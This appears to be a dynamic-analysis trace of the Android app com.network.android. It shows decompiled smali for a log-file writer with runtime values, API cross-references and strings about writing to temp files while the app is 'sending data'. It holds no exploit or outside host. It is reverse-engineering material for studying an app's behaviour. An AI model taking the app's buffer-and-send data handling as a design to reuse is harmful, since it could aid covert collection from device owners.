      260invoke-static {v6}, Ljava/lang/Short;->valueOf(S)Ljava/lang/Short;
      261move-result-object v6
      262const/4 v7, 0x0
      264invoke-virtual {v0, v6, v7}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
      266sget-object v0, Lcom/network/android/c/a/b;->j:Ljava/util/HashMap;
      267const/16 v6, 0x69
      269invoke-static {v6}, Ljava/lang/Short;->valueOf(S)Ljava/lang/Short;
      270move-result-object v6
      271const/4 v7, 0x0
      273invoke-virtual {v0, v6, v7}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
      275sget-object v0, Lcom/network/android/c/a/b;->j:Ljava/util/HashMap;
      276const/4 v6, 0x1
      278invoke-static {v6}, Ljava/lang/Short;->valueOf(S)Ljava/lang/Short;
      279move-result-object v6
      280const/4 v7, 0x0
      282invoke-virtual {v0, v6, v7}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
      284sget-object v0, Lcom/network/android/c/a/b;->j:Ljava/util/HashMap;
      285const/4 v6, 0x2
      287invoke-static {v6}, Ljava/lang/Short;->valueOf(S)Ljava/lang/Short;
      288move-result-object v6
      289const/4 v7, 0x0
      291invoke-virtual {v0, v6, v7}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
      293sget-object v0, Lcom/network/android/c/a/b;->j:Ljava/util/HashMap;
      294const/16 v6, 0xbe3
      296invoke-static {v6}, Ljava/lang/Short;->valueOf(S)Ljava/lang/Short;
      297move-result-object v6
      298const/4 v7, 0x0
      300invoke-virtual {v0, v6, v7}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
      302sget-object v0, Lcom/network/android/c/a/b;->j:Ljava/util/HashMap;
      303const/16 v6, 0x14
      305invoke-static {v6}, Ljava/lang/Short;->valueOf(S)Ljava/lang/Short;
      306move-result-object v6
      307const/4 v7, 0x0
      309invoke-virtual {v0, v6, v7}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
      311sget-object v0, Lcom/network/android/c/a/b;->j:Ljava/util/HashMap;
      312const/16 v6, 0xc3c
      314invoke-static {v6}, Ljava/lang/Short;->valueOf(S)Ljava/lang/Short;
      315move-result-object v6
      316const/4 v7, 0x0
      318invoke-virtual {v0, v6, v7}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
      320sget-object v0, Lcom/network/android/c/a/b;->j:Ljava/util/HashMap;
      321const/16 v6, 0xbf0
      323invoke-static {v6}, Ljava/lang/Short;->valueOf(S)Ljava/lang/Short;
      324move-result-object v6
      325const/4 v7, 0x0
      327invoke-virtual {v0, v6, v7}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
      328cond_1b4:
      329sget-object v0, Lcom/network/android/c/a/b;->j:Ljava/util/HashMap;
      331invoke-static {p1}, Ljava/lang/Short;->valueOf(S)Ljava/lang/Short;
      332move-result-object v6
      334invoke-virtual {v0, v6}, Ljava/util/HashMap;->containsKey(Ljava/lang/Object;)Z
      335move-result v0
      336if-eqz v0, :cond_287
      337new-instance v0, Ljava/lang/StringBuilder;
      339const-string v6, "Consecutive Error log: "
      341invoke-direct {v0, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      343invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      344move-result-object v0
      346invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      347move-result-object v0
      349invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1073052
        • p0: Consecutive Error log: 1
      • Time: 1074105
        • p0: Consecutive Error log: 2
      • Time: 1074524
        • p0: Consecutive Error log: 34
      351sget-object v0, Lcom/network/android/c/a/b;->j:Ljava/util/HashMap;
      353invoke-static {p1}, Ljava/lang/Short;->valueOf(S)Ljava/lang/Short;
      354move-result-object v6
      356invoke-virtual {v0, v6}, Ljava/util/HashMap;->get(Ljava/lang/Object;)Ljava/lang/Object;
      357move-result-object v0
      358check-cast v0, Ljava/lang/Long;
      360invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
      361move-result-wide v6
      362if-nez v0, :cond_232
      363new-instance v0, Ljava/lang/StringBuilder;
      365const-string v8, "New Consecutive Error log entered time stemp: "
      367invoke-direct {v0, v8}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      369invoke-virtual {v0, v6, v7}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
      370move-result-object v0
      372invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      373move-result-object v0
      375invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1073057
        • p0: New Consecutive Error log entered time stemp: 1658915386616
      • Time: 1074108
        • p0: New Consecutive Error log entered time stemp: 1658915387670
      • Time: 1074525
        • p0: New Consecutive Error log entered time stemp: 1658915388088
      377sget-object v0, Lcom/network/android/c/a/b;->j:Ljava/util/HashMap;
      379invoke-static {p1}, Ljava/lang/Short;->valueOf(S)Ljava/lang/Short;
      380move-result-object v8
      382invoke-static {v6, v7}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
      383move-result-object v6
      385invoke-virtual {v0, v8, v6}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
      386move v0, v2
      387goto_204: if-nez v0, :cond_29c
      389const-string v0, "log should not log: "
      391invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1073844
        • p0: log should not log:
      392try_end_20b: if-eqz v1, :cond_210
      393try_start_20d:
      394invoke-virtual {v5}, Ljava/io/FileOutputStream;->close()V
      395cond_210: monitor-exit v4
      396try_end_211: goto/16 :goto_75
      397catchall_213: move-exception v0
      398try_start_214: monitor-exit v4
      399throw v0
      400catch_216: move-exception v0
      401try_start_217: new-instance v1, Ljava/lang/StringBuilder;
      403const-string v2, "write: "
      405invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      407invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      408move-result-object v2
      410invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      411move-result-object v1
      413invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      414move-result-object v1
      416invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      417try_end_22d: goto/16 :goto_75
      418catchall_22f: move-exception v0
      419monitor-exit v3
      420throw v0
      421try_start_232: new-instance v8, Ljava/lang/StringBuilder;
      423const-string v9, "Old Consecutive Error log time stemp: "
      425invoke-direct {v8, v9}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      427invoke-virtual {v8, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
      428move-result-object v8
      430invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      431move-result-object v8
      433invoke-static {v8}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1073769
        • p0: Old Consecutive Error log time stemp: 1658915386616
      435invoke-virtual {v0}, Ljava/lang/Long;->longValue()J
      436move-result-wide v8
      437sub-long v8, v6, v8
      438const-wide/32 v10, 0x36ee80
      439cmp-long v8, v8, v10
      440if-lez v8, :cond_272
      441new-instance v0, Ljava/lang/StringBuilder;
      443const-string v8, "Expired Consecutive Error log entered time stemp: "
      445invoke-direct {v0, v8}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      447invoke-virtual {v0, v6, v7}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
      448move-result-object v0
      450invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      451move-result-object v0
      453invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      455sget-object v0, Lcom/network/android/c/a/b;->j:Ljava/util/HashMap;
      457invoke-static {p1}, Ljava/lang/Short;->valueOf(S)Ljava/lang/Short;
      458move-result-object v8
      460invoke-static {v6, v7}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
      461move-result-object v6
      463invoke-virtual {v0, v8, v6}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
      464move v0, v2
      465goto/16 :goto_204
      466cond_272: new-instance v2, Ljava/lang/StringBuilder;
      468const-string v6, "Blocked Consecutive Error log time stemp: "
      470invoke-direct {v2, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      472invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
      473move-result-object v0
      475invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      476move-result-object v0
      478invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1073777
        • p0: Blocked Consecutive Error log time stemp: 1658915386616
      479const/4 v0, 0x0
      480goto/16 :goto_204
      481cond_287: new-instance v0, Ljava/lang/StringBuilder;
      483const-string v6, "Not Consecutive Error log: "
      485invoke-direct {v0, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      487invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      488move-result-object v0
      490invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      491move-result-object v0
      493invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1073648
        • p0: Not Consecutive Error log: 4
      494move v0, v2
      495goto/16 :goto_204
      496cond_29c:
      497invoke-static {}, Lcom/network/android/c/a/b;->e()Ljava/lang/String;
      • Time: 1073063
        • This:
          • /data/data/com.network.android/logs
        • p0: /data/data/com.network.android/logs/
        • Return:
          • /data/data/com.network.android/logs
      • Time: 1073072
        • This:
          • /data/data/com.network.android/logs/0vlt.dat
        • p0: /data/data/com.network.android/logs/0vlt.dat
        • Return:
          • /data/data/com.network.android/logs/0vlt.dat
      • Time: 1073080
        • This:
          • /data/data/com.network.android/logs/0vlt.dat
        • Return:
          • true
      • Time: 1073134
        • Return:
          • 0vlt.dat
      • Time: 1073659
        • This:
          • /data/data/com.network.android/logs/0vlt.dat
        • Return:
          • 12
      • Time: 1073981
        • This:
          • /data/data/com.network.android/logs/0vlt.dat
        • Return:
          • 24
      • Time: 1074134
        • This:
          • /data/data/com.network.android/logs/0vlt.dat
        • Return:
          • 36
      • Time: 1074449
        • This:
          • /data/data/com.network.android/logs/0vlt.dat
        • Return:
          • 48
      • Time: 1074555
        • This:
          • /data/data/com.network.android/logs/0vlt.dat
        • Return:
          • 60
      • Time: 1074712
        • This:
          • /data/data/com.network.android/logs/0vlt.dat
        • Return:
          • 72
      • Time: 1075075
        • This:
          • /data/data/com.network.android/logs/0vlt.dat
        • Return:
          • 84
      • Time: 1076093
        • This:
          • /data/data/com.network.android/logs/0vlt.dat
        • Return:
          • 96
      • Time: 1077667
        • This:
          • /data/data/com.network.android/logs/0vlt.dat
        • Return:
          • 108
      498move-result-object v0
      499if-nez v0, :cond_2ca
      501const-string v0, "currentLogFilePath == null. somthing is wrong"
      503invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      505invoke-static {}, Lcom/network/android/c/a/b;->a()V
      506try_end_2aa: if-eqz v1, :cond_210
      507try_start_2ac:
      508invoke-virtual {v5}, Ljava/io/FileOutputStream;->close()V
      509try_end_2af: goto/16 :goto_210
      510catch_2b1: move-exception v0
      511try_start_2b2: new-instance v1, Ljava/lang/StringBuilder;
      513const-string v2, "writeEntry finally: "
      515invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      517invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      518move-result-object v2
      520invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      521move-result-object v1
      523invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      524move-result-object v1
      526invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      527try_end_2c8: goto/16 :goto_210
      528try_start_2ca: new-instance v0, Ljava/lang/StringBuilder;
      530invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
      532sget-object v2, Lcom/network/android/c/a/b;->e:Ljava/lang/String;
      534invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      535move-result-object v0
      537invoke-static {}, Lcom/network/android/c/a/b;->e()Ljava/lang/String;
      • Time: 1073147
        • This:
          • /data/data/com.network.android/logs
        • p0: /data/data/com.network.android/logs/
        • Return:
          • /data/data/com.network.android/logs
      • Time: 1073153
        • This:
          • /data/data/com.network.android/logs/0vlt.dat
        • p0: /data/data/com.network.android/logs/0vlt.dat
        • Return:
          • /data/data/com.network.android/logs/0vlt.dat
      • Time: 1073180
        • This:
          • /data/data/com.network.android/logs/0vlt.dat
        • Return:
          • 0
      • Time: 1073210
        • Return:
          • 0vlt.dat
      • Time: 1073675
        • This:
          • /data/data/com.network.android/logs/0vlt.dat
        • Return:
          • 12
      • Time: 1074001
        • This:
          • /data/data/com.network.android/logs/0vlt.dat
        • Return:
          • 24
      • Time: 1074164
        • This:
          • /data/data/com.network.android/logs/0vlt.dat
        • Return:
          • 36
      • Time: 1074482
        • This:
          • /data/data/com.network.android/logs/0vlt.dat
        • Return:
          • 48
      • Time: 1074573
        • This:
          • /data/data/com.network.android/logs/0vlt.dat
        • Return:
          • 60
      • Time: 1074754
        • This:
          • /data/data/com.network.android/logs/0vlt.dat
        • Return:
          • 72
      • Time: 1075226
        • This:
          • /data/data/com.network.android/logs/0vlt.dat
        • Return:
          • 84
      • Time: 1076230
        • This:
          • /data/data/com.network.android/logs/0vlt.dat
        • Return:
          • 96
      • Time: 1077892
        • This:
          • /data/data/com.network.android/logs/0vlt.dat
        • Return:
          • 108
      538move-result-object v2
      540invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      541move-result-object v0
      543invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      544move-result-object v0
      545new-instance v2, Ljava/lang/StringBuilder;
      547const-string v5, "currentLogFilePath: "
      549invoke-direct {v2, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      551invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      552move-result-object v2
      554invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      555move-result-object v2
      557invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1073215
        • p0: currentLogFilePath: /data/data/com.network.android/logs/0vlt.dat
      559invoke-static {p1, p3}, Lcom/network/android/c/a/b;->a(SLjava/lang/Object;)[B
      560move-result-object v5
      561new-instance v2, Ljava/io/FileOutputStream;
      562const/4 v6, 0x1
      564invoke-direct {v2, v0, v6}, Ljava/io/FileOutputStream;-><init>(Ljava/lang/String;Z)V
      • Time: 1073232
        • This:
          • java.io.FileOutputStream@44763a1
        • p0: /data/data/com.network.android/logs/0vlt.dat
        • p1: true
        • Return:
          • java.io.FileOutputStream@44763a1
      • Time: 1073687
        • This:
          • java.io.FileOutputStream@832905f
        • p0: /data/data/com.network.android/logs/0vlt.dat
        • p1: true
        • Return:
          • java.io.FileOutputStream@832905f
      • Time: 1074030
        • This:
          • java.io.FileOutputStream@a939dd4
        • p0: /data/data/com.network.android/logs/0vlt.dat
        • p1: true
        • Return:
          • java.io.FileOutputStream@a939dd4
      • Time: 1074176
        • This:
          • java.io.FileOutputStream@b0c4be9
        • p0: /data/data/com.network.android/logs/0vlt.dat
        • p1: true
        • Return:
          • java.io.FileOutputStream@b0c4be9
      • Time: 1074497
        • This:
          • java.io.FileOutputStream@1cb96f4
        • p0: /data/data/com.network.android/logs/0vlt.dat
        • p1: true
        • Return:
          • java.io.FileOutputStream@1cb96f4
      • Time: 1074583
        • This:
          • java.io.FileOutputStream@f9b48af
        • p0: /data/data/com.network.android/logs/0vlt.dat
        • p1: true
        • Return:
          • java.io.FileOutputStream@f9b48af
      • Time: 1074764
        • This:
          • java.io.FileOutputStream@6213125
        • p0: /data/data/com.network.android/logs/0vlt.dat
        • p1: true
        • Return:
          • java.io.FileOutputStream@6213125
      • Time: 1075300
        • This:
          • java.io.FileOutputStream@e26b08b
        • p0: /data/data/com.network.android/logs/0vlt.dat
        • p1: true
        • Return:
          • java.io.FileOutputStream@e26b08b
      • Time: 1076325
        • This:
          • java.io.FileOutputStream@69a7061
        • p0: /data/data/com.network.android/logs/0vlt.dat
        • p1: true
        • Return:
          • java.io.FileOutputStream@69a7061
      565try_end_2fd:
      566invoke-virtual {v2, v5}, Ljava/io/FileOutputStream;->write([B)V
      568invoke-virtual {v2}, Ljava/io/FileOutputStream;->close()V
      569try_end_303: if-eqz v2, :cond_210
      570try_start_305:
      571invoke-virtual {v2}, Ljava/io/FileOutputStream;->close()V
      572try_end_308: goto/16 :goto_210
      573catch_30a: move-exception v0
      574try_start_30b: new-instance v1, Ljava/lang/StringBuilder;
      576const-string v2, "writeEntry finally: "
      578invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      580invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      581move-result-object v2
      583invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      584move-result-object v1
      586invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      587move-result-object v1
      589invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      590try_end_321: goto/16 :goto_210
      591catch_323: move-exception v0
      592goto_324: new-instance v2, Ljava/lang/StringBuilder;
      594const-string v5, "writeEntry: "
      596invoke-direct {v2, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      598invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      599move-result-object v5
      601invoke-virtual {v2, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      602move-result-object v2
      604invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      605move-result-object v2
      607invoke-static {v2, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      608try_end_33a: if-eqz v1, :cond_210
      609try_start_33c:
      610invoke-virtual {v1}, Ljava/io/FileOutputStream;->close()V
      611try_end_33f: goto/16 :goto_210
      612catch_341: move-exception v0
      613try_start_342: new-instance v1, Ljava/lang/StringBuilder;
      615const-string v2, "writeEntry finally: "
      617invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      619invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      620move-result-object v2
      622invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      623move-result-object v1
      625invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      626move-result-object v1
      628invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      629try_end_358: goto/16 :goto_210
      630catchall_35a: move-exception v0
      631goto_35b: if-eqz v1, :cond_360
      632try_start_35d:
      633invoke-virtual {v1}, Ljava/io/FileOutputStream;->close()V
      634goto_360: throw v0
      635catch_361: move-exception v1
      636new-instance v2, Ljava/lang/StringBuilder;
      638const-string v5, "writeEntry finally: "
      640invoke-direct {v2, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      642invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      643move-result-object v5
      645invoke-virtual {v2, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      646move-result-object v2
      648invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      649move-result-object v2
      651invoke-static {v2, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      652goto/16 :goto_360
      653catch_379: move-exception v0
      654new-instance v1, Ljava/lang/StringBuilder;
      656const-string v2, "writeEntry finally: "
      658invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      660invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      661move-result-object v2
      663invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      664move-result-object v1
      666invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      667move-result-object v1
      669invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      670try_end_390: goto/16 :goto_210
      671catchall_392: move-exception v0
      672move-object v1, v2
      673goto/16 :goto_35b
      674catch_395: move-exception v0
      675move-object v1, v2
      676goto/16 :goto_324
      Cross References
      APIs
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.File.<init>
      • java.io.File.exists
      • java.io.File.mkdirs
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.File.<init>
      • java.io.File.createNewFile
      • com.network.android.agent.NetworkApp.a
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.File.<init>
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.File.<init>
      • java.io.File.exists
      • java.io.File.renameTo
      • java.lang.Boolean.valueOf
      • java.lang.Boolean.booleanValue
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.Boolean.valueOf
      • java.io.File.delete
      • com.network.android.agent.NetworkApp.a
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.Boolean.valueOf
      • java.io.File.delete
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • com.network.android.agent.NetworkApp.a
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.File.<init>
      • java.io.File.createNewFile
      • com.network.android.agent.NetworkApp.a
      • java.lang.String.contains
      • com.network.android.agent.NetworkApp.a
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.File.<init>
      • java.io.File.exists
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.File.<init>
      • java.io.File.createNewFile
      • java.io.File.length
      • java.lang.String.substring
      • java.lang.Integer.parseInt
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.File.<init>
      • java.io.File.delete
      • java.io.File.createNewFile
      • com.network.android.agent.NetworkApp.a
      • java.lang.StringBuilder.<init>
      • java.lang.Integer.toString
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.File.<init>
      • java.io.File.delete
      • java.lang.StringBuilder.<init>
      • java.io.File.getAbsolutePath
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.File.createNewFile
      • java.lang.StringBuilder.<init>
      • java.io.File.getAbsolutePath
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • com.network.android.agent.NetworkApp.a
      Strings
      • getCurrentLogFilePath start. isSending:
      • getCurrentLogFilePath start. isSending: false
      • getCurrentLogFilePath dir doesn\'t exists. creating
      • getCurrentLogFilePath we are currently sending data. writing to temp file
      • getCurrentLogFilePath our last file that we wrote to was temp file. rename it to first file
      • getCurrentLogFilePath failed on renaming, try merge
      • getCurrentLogFilePath our last file that we wrote to was temp file. merge it to first file
      • getCurrentLogFilePath Exception:
      • getCurrentLogFilePath somthing bad happend. returning null
      • getCurrentLogFilePath m_currentFilePath == null. creating a new file
      • getCurrentLogFilePath m_currentFilePath name is currpted. returning null
      • getCurrentLogFilePath m_currentFilePath does not exists, creating it
      • getCurrentLogFilePath m_currentFilePath is bigger than MAX_LOG_FILE.
      • getCurrentLogFilePath file name index is begger than MAX_FILE_NAME_INT, starting from 0 again
      • getCurrentLogFilePath moving to the next file name.
      • getCurrentLogFilePath Logfile was removed:
      • Logfile was created:
      • getCurrentLogFilePath all good. returning current file. not need to change anything
      Position Instruction Meta Information
      0const/4 v0, 0x0
      1const-class v2, Lcom/network/android/c/a/b;
      2monitor-enter v2
      3try_start_4:
      4sget-object v3, Lcom/network/android/c/a/b;->h:Ljava/lang/Object;
      5monitor-enter v3
      6try_start_7: new-instance v1, Ljava/lang/StringBuilder;
      8const-string v4, "getCurrentLogFilePath start. isSending: "
      10invoke-direct {v1, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      11sget-boolean v4, Lcom/network/android/c/a/b;->i:Z
      13invoke-virtual {v1, v4}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
      14move-result-object v1
      16invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      17move-result-object v1
      19invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1073060
        • p0: getCurrentLogFilePath start. isSending: false
      20new-instance v1, Ljava/io/File;
      22sget-object v4, Lcom/network/android/c/a/b;->e:Ljava/lang/String;
      24invoke-direct {v1, v4}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      26invoke-virtual {v1}, Ljava/io/File;->exists()Z
      • Time: 1073067
        • This:
          • /data/data/com.network.android/logs
        • Return:
          • true
      27move-result v4
      28if-nez v4, :cond_33
      30const-string v4, "getCurrentLogFilePath dir doesn\'t exists. creating"
      32invoke-static {v4}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      33const/4 v4, 0x0
      34sput-object v4, Lcom/network/android/c/a/b;->d:Ljava/lang/String;
      36invoke-virtual {v1}, Ljava/io/File;->mkdirs()Z
      37cond_33: sget-boolean v1, Lcom/network/android/c/a/b;->i:Z
      38if-eqz v1, :cond_69
      40const-string v1, "getCurrentLogFilePath we are currently sending data. writing to temp file"
      42invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      43new-instance v1, Ljava/io/File;
      44new-instance v4, Ljava/lang/StringBuilder;
      46invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
      48sget-object v5, Lcom/network/android/c/a/b;->e:Ljava/lang/String;
      50invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      51move-result-object v4
      53sget-object v5, Lcom/network/android/c/a/b;->c:Ljava/lang/String;
      55invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      56move-result-object v4
      58invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      59move-result-object v4
      61invoke-direct {v1, v4}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      63invoke-virtual {v1}, Ljava/io/File;->createNewFile()Z
      65sget-object v1, Lcom/network/android/c/a/b;->c:Ljava/lang/String;
      66sput-object v1, Lcom/network/android/c/a/b;->d:Ljava/lang/String;
      68invoke-static {}, Lcom/network/android/agent/NetworkApp;->a()Landroid/content/Context;
      69move-result-object v1
      71invoke-static {v1}, Lcom/network/android/c/a/b;->a(Landroid/content/Context;)V
      73sget-object v0, Lcom/network/android/c/a/b;->c:Ljava/lang/String;
      74try_start_66: monitor-exit v3
      75goto_67: monitor-exit v2
      76return-object v0
      77cond_69:
      78sget-object v1, Lcom/network/android/c/a/b;->c:Ljava/lang/String;
      80sget-object v4, Lcom/network/android/c/a/b;->d:Ljava/lang/String;
      81if-ne v1, v4, :cond_170
      82new-instance v1, Ljava/io/File;
      83new-instance v4, Ljava/lang/StringBuilder;
      85invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
